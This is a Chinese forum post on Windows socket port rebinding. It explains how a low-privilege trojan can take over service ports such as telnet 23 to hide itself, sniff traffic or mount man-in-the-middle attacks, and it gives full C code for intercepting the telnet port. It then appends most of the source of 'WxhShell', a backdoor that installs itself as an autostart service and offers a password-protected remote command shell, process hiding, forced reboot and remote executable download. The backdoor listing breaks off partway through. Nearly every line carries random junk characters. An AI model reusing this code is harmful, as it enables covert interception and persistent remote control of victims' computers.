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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A4b+:MQ*OX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m&be55M;  
3"k n5)x  
  saddr.sin_family = AF_INET;  3SPXJa\i  
P:3o}CB1I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r}:U'zlC{  
-z se+]O`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "}H2dn2n  
a0Fq$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -%{+\x2  
peOoZdJd  
  这意味着什么?意味着可以进行如下的攻击: 5P 5Tgk  
)e6sg]#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *~b~y7C  
j#Lj<jX!xR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FP*kA_z$  
FT-=^VA\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }n'W0 Sa  
t)~$p#NS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V{x[^+w7X~  
3a=\$x@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LX=v _}l J  
.f>7a;V?}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &fU48n1Uh  
NS*Lv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |+>U91!  
~@[<y1g?nG  
  #include @l5GBsLK  
  #include 9jNh%raG|  
  #include R|wS*xd,  
  #include    GJHJ?^%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f;Ijl0d@  
  int main() p1mAoVxR  
  { >RpMw!NT  
  WORD wVersionRequested; k72NXagh  
  DWORD ret; YNKvR  
  WSADATA wsaData; +V[;DOlll  
  BOOL val; 'Z#>K*  
  SOCKADDR_IN saddr; zG^$-L.n  
  SOCKADDR_IN scaddr; 1&9w]\Ae7l  
  int err; wByTNA7  
  SOCKET s; V-X Ty iv  
  SOCKET sc; pqju@FD *  
  int caddsize; \YF07L]qs-  
  HANDLE mt; ,^eOwWV  
  DWORD tid;   U%;E:|  
  wVersionRequested = MAKEWORD( 2, 2 ); [UB*39D7  
  err = WSAStartup( wVersionRequested, &wsaData ); x{Dw?6TP  
  if ( err != 0 ) { 'SrDc'?  
  printf("error!WSAStartup failed!\n"); 4nh0bIN1  
  return -1; Xh/BVg7$  
  } \pSRG=`  
  saddr.sin_family = AF_INET; x(~V7L>"i  
   ]6O(r)k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (<}?}{YX0  
dk]A,TB*2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IMzt1l =7  
  saddr.sin_port = htons(23); CLJn+Y2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %afF%y  
  { <54KWC86)J  
  printf("error!socket failed!\n"); ocp  
  return -1; `G:hC5B  
  } t\Qm2Q)>  
  val = TRUE; LCq1F(q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zTi 8y<}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =5YbK1Q^  
  { gi)C5J4  
  printf("error!setsockopt failed!\n"); :7(d 6gEL  
  return -1; ,6"[vb#*3  
  } $Q,]2/o6n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;M\Cw.%![  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5Kk}sxol  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N$.ls48a4-  
7;] IlR6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `A o"fRv#  
  { +$/NTUOP  
  ret=GetLastError(); L6ypn)l  
  printf("error!bind failed!\n"); cFuQ>xR1  
  return -1; ?MFXZ/3(ba  
  } mS0;2x U  
  listen(s,2); ;<xPzf  
  while(1) cHVu6I?h  
  { 7_lgo6  
  caddsize = sizeof(scaddr); ~~I]SI k{  
  //接受连接请求 AgUjC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =GeGlI6  
  if(sc!=INVALID_SOCKET) b !nA.`T  
  { ~*Y/#kPY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !<b+7 A  
  if(mt==NULL) $v"CQD  
  { wi[FBLB/8  
  printf("Thread Creat Failed!\n"); <dz_7hR"  
  break; /sPa$D  
  } ]g,j  
  } w]N;HlU  
  CloseHandle(mt); O<dCvH  
  } 1W}k>t8?h'  
  closesocket(s); VMNdC}  
  WSACleanup();  J&+"  
  return 0; 2^U?Ztth6  
  }   Xd1+?2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~L> &p  
  { ??++0<75  
  SOCKET ss = (SOCKET)lpParam; Gvr>n@n  
  SOCKET sc; '] _7Xa'  
  unsigned char buf[4096]; .t{uzDM  
  SOCKADDR_IN saddr; N%u4uLP5k  
  long num; t$R0UprK  
  DWORD val; GSH,;cY  
  DWORD ret; 8&bNI@:@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rm|,+ {  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6Yqqq[#V/  
  saddr.sin_family = AF_INET; m93{K7O2e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )5o6*(Y  
  saddr.sin_port = htons(23); uOZSX.o^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XSx'@ qH  
  { 0$U\H>r  
  printf("error!socket failed!\n"); l^$U~OB8k  
  return -1; FR]uCH  
  } <Oy2 JjY  
  val = 100; 2o W'B^-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4=& d{.E  
  { *ODc[k'(  
  ret = GetLastError(); <UGM/+aO  
  return -1; ygUX]*m!  
  } !L/.[:X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (+BrC`  
  { )]m4FC:  
  ret = GetLastError(); Uf?+oc'{  
  return -1; ?3v-ppw%  
  } QPvWdjf#mM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?;w\CS^Qu  
  { I^D*) z   
  printf("error!socket connect failed!\n"); f&&Ao  
  closesocket(sc); 1WY$Vs  
  closesocket(ss); VwXR,(  
  return -1; >}u#KBedE  
  } m&s;zQ  
  while(1) Us>  
  { /~?[70B}E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yV&]i-ey  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )k `+9}OO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V {}TG]  
  num = recv(ss,buf,4096,0); hWX4 P  
  if(num>0) gDX\ p>7  
  send(sc,buf,num,0); .l,NmF9  
  else if(num==0) *_a jb:  
  break; 1D~B\=LL}  
  num = recv(sc,buf,4096,0); X-j<fX_  
  if(num>0) y35e3  
  send(ss,buf,num,0); 1d&Q E\2}  
  else if(num==0) q s9r$o.\l  
  break; ?9*[\m?-  
  } V9  EC@)  
  closesocket(ss); NpA%7Q~B$,  
  closesocket(sc); i2LN`5k  
  return 0 ; 5iGz*_ m  
  } HEK?z|Ne  
Y`xAJ#= ,i  
}j\8|UG  
========================================================== V9`jq$  
!__^M3S,k  
下边附上一个代码,,WXhSHELL mxwG~a'_  
W,nn,%  
========================================================== 1X?q4D"  
\PmM856=ms  
#include "stdafx.h" V:gXP1P  
c&`]O\D-c  
#include <stdio.h> :"+3Uk2  
#include <string.h> *kJa$3*r  
#include <windows.h> QxBH{TG  
#include <winsock2.h> ya;(D 8x)  
#include <winsvc.h> Jf@Xz7{z  
#include <urlmon.h> J]Q-#g'Z  
h?GE-F  
#pragma comment (lib, "Ws2_32.lib") P>|sCF  
#pragma comment (lib, "urlmon.lib")  Y@b|/+  
4%u\dTg/B  
#define MAX_USER   100 // 最大客户端连接数 b1Ba}  
#define BUF_SOCK   200 // sock buffer f>?b2a2HX  
#define KEY_BUFF   255 // 输入 buffer ` ^z l =  
of`WP  
#define REBOOT     0   // 重启 ]\3<UL  
#define SHUTDOWN   1   // 关机 hXx:D3h  
a1v?{vu\E  
#define DEF_PORT   5000 // 监听端口 ~y ?v  
\@6V{y'Zo  
#define REG_LEN     16   // 注册表键长度 ]v$2JgF]@  
#define SVC_LEN     80   // NT服务名长度 #Jfmt~ks '  
A5G@u}YS5  
// 从dll定义API hCj8y.X|E(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mWVq>~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )Qo^Mz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); os+ ]ct  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }jNVR#D:  
:,'.b|Tl.b  
// wxhshell配置信息 U a1Z,~ *  
struct WSCFG { R ~#&xfMd.  
  int ws_port;         // 监听端口 " _TAo  
  char ws_passstr[REG_LEN]; // 口令 5N|hsfkx  
  int ws_autoins;       // 安装标记, 1=yes 0=no AxCFZf5  
  char ws_regname[REG_LEN]; // 注册表键名 asbFNJG{  
  char ws_svcname[REG_LEN]; // 服务名 6N.MC B^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *+J`Yk7}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O+~@ S~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mxCqN1:#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ' KNg;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4}<[4]f?|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h;J%Z!Rjw  
Oc / i'  
}; <I2~>x5db  
v0%FG9Gk  
// default Wxhshell configuration 7+P-MT  
struct WSCFG wscfg={DEF_PORT, byIP]7Ld  
    "xuhuanlingzhe", {\ BFWGX  
    1, t y%Hrw  
    "Wxhshell", 7t6TB*H  
    "Wxhshell", ,k,+UisG  
            "WxhShell Service", LlbE]_Z!U%  
    "Wrsky Windows CmdShell Service", k_ijVfI9  
    "Please Input Your Password: ", P m|S>r  
  1, NF_[q(k'  
  "http://www.wrsky.com/wxhshell.exe", 2K{)8 ;^  
  "Wxhshell.exe" mFBuKp+0)h  
    }; bX+"G}CRP  
er>@- F7w  
// 消息定义模块 v+d? #^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MAgoxq~;V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n<>]7-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K- TLzoYA  
char *msg_ws_ext="\n\rExit."; 3MHByT %  
char *msg_ws_end="\n\rQuit."; z s[zB#  
char *msg_ws_boot="\n\rReboot..."; E,|OMK#   
char *msg_ws_poff="\n\rShutdown..."; F^7qr  
char *msg_ws_down="\n\rSave to "; s&6/fa  
.wcKG9u  
char *msg_ws_err="\n\rErr!"; q>VvXUyK,  
char *msg_ws_ok="\n\rOK!"; ? UBE0C  
5Yx 7Q:D  
char ExeFile[MAX_PATH]; p@+D$  
int nUser = 0; eg>]{`WQ  
HANDLE handles[MAX_USER]; l'"Ici#7Ls  
int OsIsNt; ztV%W6  
^FK-e;J  
SERVICE_STATUS       serviceStatus; /6#i$\ j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2S-z$Bi}]  
\Jr7Hy1;  
// 函数声明 OJ)XJL  
int Install(void); Cvtz&dH  
int Uninstall(void); C.hRL4+;Zm  
int DownloadFile(char *sURL, SOCKET wsh); uBo~PiJ2"  
int Boot(int flag); #!]~E@;E  
void HideProc(void); OH vV_  
int GetOsVer(void); ;VPYWss  
int Wxhshell(SOCKET wsl); ljk,R G  
void TalkWithClient(void *cs); B..> *Xb  
int CmdShell(SOCKET sock); zR }vw{  
int StartFromService(void); [vcSt5R=  
int StartWxhshell(LPSTR lpCmdLine); uSNlI78D  
8Y~\:3&1<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `FIS2sl/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <f@ A\  
-K iI&Q  
// 数据结构和表定义 A55F* d  
SERVICE_TABLE_ENTRY DispatchTable[] = F3<Ip~K  
{ lBO x B/`  
{wscfg.ws_svcname, NTServiceMain}, e u?DSad  
{NULL, NULL} s"0Hz"[^=  
}; Zex`n:Wl?j  
Uy{ZK*c8i  
// 自我安装 jGOE CKP  
int Install(void) 0|`iop%(n  
{ +(##B pC  
  char svExeFile[MAX_PATH]; )<^G]ajn  
  HKEY key; gqACIXR  
  strcpy(svExeFile,ExeFile); 3qwSm <  
_S6SCSFc  
// 如果是win9x系统,修改注册表设为自启动 Xe<kdB3  
if(!OsIsNt) { rA1;DSw6E[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E>`gj~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rj/y.g  
  RegCloseKey(key); ]0myoWpi3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m7,;Hr(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C'fQ Z,r-v  
  RegCloseKey(key); DV jsz  
  return 0; J8PZVeWx  
    } }wV/)Oy[  
  } lgh+\pj  
} 3b1%^@,ACy  
else { ci{WyIh  
xU$15|ny  
// 如果是NT以上系统,安装为系统服务 "$N 4S9U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ug9]^p/)^  
if (schSCManager!=0) JS0957K  
{ EL1*@  
  SC_HANDLE schService = CreateService o\:vxj+%*  
  ( (:ij'Zbz  
  schSCManager, }1Km h]  
  wscfg.ws_svcname, ~DUOL ~E  
  wscfg.ws_svcdisp, 5Q@4@b{C  
  SERVICE_ALL_ACCESS, Ia*T*q Ju  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e><,WM,e  
  SERVICE_AUTO_START, ^uWj#  
  SERVICE_ERROR_NORMAL, n.xOu`gj  
  svExeFile, NLO&.Q]#  
  NULL, MGSD;Lgn  
  NULL, %1%@L7wP>  
  NULL, ]j^rJ|WTH  
  NULL, &W-1W99auE  
  NULL S *K0OUq  
  ); NC{8[*Kx5  
  if (schService!=0) hZeF? G)L'  
  { 4F?O5&329i  
  CloseServiceHandle(schService); >7nOR  
  CloseServiceHandle(schSCManager); NIxtT>[+3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #%SF2PB;  
  strcat(svExeFile,wscfg.ws_svcname); $O^U"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uKd79[1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eLN[`hJ  
  RegCloseKey(key); >Gxh=**F  
  return 0; .0#{ ?R,  
    } xX2/uxi8  
  } :V:siIDn  
  CloseServiceHandle(schSCManager); Ln&CB!u  
} !yf7y/qY  
} XF Wo"%}w  
F]`_akE  
return 1; Gque@u  
} :A]CD (  
@y{ f>nm  
// 自我卸载 s f<NC>-  
int Uninstall(void) Cc!LJ  
{ %pr}Xs(-f  
  HKEY key; C+Pw  
lsRW.h,  
if(!OsIsNt) { +"Mlj$O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HWi: CDgm  
  RegDeleteValue(key,wscfg.ws_regname); H0Ck%5  
  RegCloseKey(key); /7p1y v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w.R2' W R  
  RegDeleteValue(key,wscfg.ws_regname); ETtoY<`#  
  RegCloseKey(key); &Vmx<w  
  return 0; 2N}h<Yd 9  
  } Ls(l  
} udGZ%Mr_  
} 2, r{zJ8  
else { vy1N, 8a  
lxXIu8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @[w.!GW%  
if (schSCManager!=0) glgXSOj  
{ -{s9PZ3~_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XT~]pOE;D  
  if (schService!=0) 3pI)  
  { 299uZz}Y  
  if(DeleteService(schService)!=0) { %n:ymc $}  
  CloseServiceHandle(schService); pl5Q2zq%  
  CloseServiceHandle(schSCManager); @rt}z+JF  
  return 0; W,sPg\G 3  
  } Lo^gg#o  
  CloseServiceHandle(schService); <%EjrjdvL+  
  } C+X- Cp  
  CloseServiceHandle(schSCManager); \4roM1&[  
} u^]Z{K_B  
} !:9s>0';N  
Q[UYNQ0w  
return 1; 8PwPI%Pb  
} 2)47$eu  
C&-]RffA  
// 从指定url下载文件 Cy'! >  
int DownloadFile(char *sURL, SOCKET wsh) G.sf>.[  
{ RL~]mI!U  
  HRESULT hr; 6SN$El 0|G  
char seps[]= "/"; x] j&Knli  
char *token; LCkaSv/[RB  
char *file; gaxxB]8  
char myURL[MAX_PATH]; sD ,FJ:dy  
char myFILE[MAX_PATH]; Wc!.{2  
>`u/#mrd  
strcpy(myURL,sURL); g,d'&r"JWt  
  token=strtok(myURL,seps); b{hdEb  
  while(token!=NULL) i@hW" [A  
  { C{P:1ELYXH  
    file=token; W"ldQ  
  token=strtok(NULL,seps); p 28=l5y+  
  } g"Gj8QLDz  
|aMeh;X t  
GetCurrentDirectory(MAX_PATH,myFILE); `w/b];e1)  
strcat(myFILE, "\\"); ]sG^a7Z.X  
strcat(myFILE, file); |^$?9Dn9.L  
  send(wsh,myFILE,strlen(myFILE),0); P_N i 5s)  
send(wsh,"...",3,0); BewJ!,A!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k#pNk7;MZ  
  if(hr==S_OK) *-.,QpgTX  
return 0; 7) 37AKw  
else E.+BqWZ!  
return 1; $J)2E g  
O>kM2xw  
} 0rj50$~$]  
T~b6Zu6  
// 系统电源模块 #CTHCwYo  
int Boot(int flag) /eNDv(g)M  
{ qASV\ <n  
  HANDLE hToken;  njg\y  
  TOKEN_PRIVILEGES tkp; M"|({+9eG  
nZ8f}R!f:  
  if(OsIsNt) { ZIikDi h1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A,#a?O6m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +o^sm'$  
    tkp.PrivilegeCount = 1; UJhUb)}^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'NDDj0Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 31=v US  
if(flag==REBOOT) { '(!U5j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) );oE^3]f  
  return 0; *ci%c^}V  
} LQ3J$N  
else { ^mu PjM+D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |tqYRWn0  
  return 0;  dPCn6  
} Rg6/6/ IN  
  } _1kcz]]F  
  else { gzeTBlXg  
if(flag==REBOOT) { Lm"zW>v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (YKkJ  
  return 0;  '  
}  WDq~mi  
else { =Xh*w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $61j_;WF`  
  return 0; A~%h*nZc%I  
} +w'He9n  
} %Tm8sQ)1  
B7ty*)i?  
return 1; q_[V9  
} Z"Byv.yqb  
:to1%6  
// win9x进程隐藏模块 w!~85""  
void HideProc(void) &NB"[Mm:@  
{ L|N[.V9  
q$BS@   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 68, (+vkB  
  if ( hKernel != NULL ) gO,2:,  
  { /XZ\Yy=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ? fmW'vs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L+J)  
    FreeLibrary(hKernel); cOo@UU P   
  } kcyT#'=j  
mqk tM6  
return; Gn} ^BJN  
} GG$&=.$  
V/W{d[86G  
// 获取操作系统版本 0$\ j  
int GetOsVer(void) I4\ c+f9  
{ Qa-~x8]  
  OSVERSIONINFO winfo; :]+p#l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]?A-D,!(  
  GetVersionEx(&winfo); +L\bg| ;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !j-JMa?  
  return 1; Egr'IbB  
  else )W.Y{\D0  
  return 0; A&/VO$Y9wp  
} IBSoAL  
mj _ V6`m4  
// 客户端句柄模块 6V^KOG  
int Wxhshell(SOCKET wsl) oES4X{,  
{ mH)th7  
  SOCKET wsh; z;+LU6V  
  struct sockaddr_in client; cNvh2JI  
  DWORD myID; zPt0IB_j'  
UV j1nom   
  while(nUser<MAX_USER) -P[bA0N,  
{ "pW@[2Dkx/  
  int nSize=sizeof(client); $1b x\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ->Bx>Y  
  if(wsh==INVALID_SOCKET) return 1; !p$k<?WXc  
F|&=\Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \bzT=^Z;2  
if(handles[nUser]==0) }Asp=<kCc  
  closesocket(wsh); 5B,HJax  
else Ye"#tCOEG  
  nUser++; 5x1_rjP$|  
  } Aa`'g0wmc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JTI 'W  
19# A7  
  return 0; XbMAcgS  
} 8@J5tFJ&%  
5_~QS  
// 关闭 socket nk^-+olm  
void CloseIt(SOCKET wsh) bdz&"\$X  
{ k%fy  
closesocket(wsh); ^#)M,.G^  
nUser--; EaXD Y<  
ExitThread(0); ct-;L' a  
} |{JJ2c\W  
%x zgTZ  
// 客户端请求句柄 kFo&!  
void TalkWithClient(void *cs) @#W$7Gwf0  
{ 8bP4  
> g=u Y{Rf  
  SOCKET wsh=(SOCKET)cs; 9a;8^?Ld%S  
  char pwd[SVC_LEN]; OJ2I (8P  
  char cmd[KEY_BUFF]; bJ6@ B<  
char chr[1]; bhg OLh#  
int i,j; Xsit4Ma  
?)V}_%fVv  
  while (nUser < MAX_USER) { yNk E>  
kFsq23Ne  
if(wscfg.ws_passstr) { U**v'%{s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4C[n@ p2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hDc)\vzr  
  //ZeroMemory(pwd,KEY_BUFF); Eh*t;J=O  
      i=0; Yvbk[Rb  
  while(i<SVC_LEN) { [5O`  
k>;a5'S  
  // 设置超时 I7/X6^/}  
  fd_set FdRead; /'g"Ys?3  
  struct timeval TimeOut; y.m;4((  
  FD_ZERO(&FdRead); S+Vsy(  
  FD_SET(wsh,&FdRead); Yiy|^j  
  TimeOut.tv_sec=8; I'%(f@u~  
  TimeOut.tv_usec=0; D"RxI)"HP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~A =?_5kJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SP |R4*KY  
'YUx&F cM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sM8AORd  
  pwd=chr[0]; vhaUV#V"  
  if(chr[0]==0xd || chr[0]==0xa) { zgR@-OtFZ  
  pwd=0;  e+=IGYC  
  break; "=r"c$xou  
  } - yn;Jo2-  
  i++; Up|>)WFw"  
    } *S$`/X  
;UB$Uqs6  
  // 如果是非法用户,关闭 socket }4M4D/=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j*05!j<'  
} 8NS1*\z  
v'zj<|2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2E X Rq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WCPl}7>  
aA/.EAc7  
while(1) { SXI3y  
LUjev\Re  
  ZeroMemory(cmd,KEY_BUFF); L_4Zx sIv  
F6h|AF|"  
      // 自动支持客户端 telnet标准   ;r}>1LhN  
  j=0; 3x{2Dhi  
  while(j<KEY_BUFF) { !j|93*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H D95>%  
  cmd[j]=chr[0]; _2C[F~ +l  
  if(chr[0]==0xa || chr[0]==0xd) { 2AZ)|dM'`  
  cmd[j]=0; G,J~Ed  
  break; :*wjC.Z  
  } u/2!v(  
  j++; s*0PJ\E2  
    } }|7y.*  
wWNHZ v&  
  // 下载文件 |,wp@)e6h  
  if(strstr(cmd,"http://")) { vHz]-Q-|9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m+m,0Ey5H  
  if(DownloadFile(cmd,wsh)) A/4HR]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )|@ H#kv?  
  else [# '38  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0u'qu2mV  
  } B "z`X!\  
  else { T]fu[yRVvg  
Cp@' k;(  
    switch(cmd[0]) { ?]# U~M<'  
  Aj;F$(su  
  // 帮助 %4Thb\T  
  case '?': { bqt*d)$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tsA+B&R_]  
    break; VYZkHjj)2i  
  } :z!N_]t  
  // 安装 4,|A\dXE  
  case 'i': { Evn=3Tw  
    if(Install()) :uD*Q/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dw v(8  
    else ]E+deM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $rh{f<  
    break; NZyGC Vh@  
    } :OVre*j  
  // 卸载 -K_p? l  
  case 'r': { <6s?M1J  
    if(Uninstall()) BWct0=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E.kjYIH8  
    else uWYI p\NN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2{d<0x?v  
    break; ?1?zma S  
    } 0DBA 'Cv  
  // 显示 wxhshell 所在路径 `KgWaf-  
  case 'p': { Y70[Nz  
    char svExeFile[MAX_PATH]; bJo)rM :m  
    strcpy(svExeFile,"\n\r"); y@kRJ 8d  
      strcat(svExeFile,ExeFile); V2I"m  
        send(wsh,svExeFile,strlen(svExeFile),0); 4Em mh=A  
    break; WUM&Lq k"  
    } %U&O \GB  
  // 重启 {/C \GxH+  
  case 'b': { -o8H_MR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wW~y?A"{2  
    if(Boot(REBOOT)) q}PeXXH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?~|Uj 6  
    else { zw`T^N#  
    closesocket(wsh); /- qS YS(  
    ExitThread(0); `N_elf://n  
    } )Qe4J0.  
    break; Nd.+Rs  
    } +h}>UK\  
  // 关机 /R@,c B=  
  case 'd': { w~NQAHAvo  
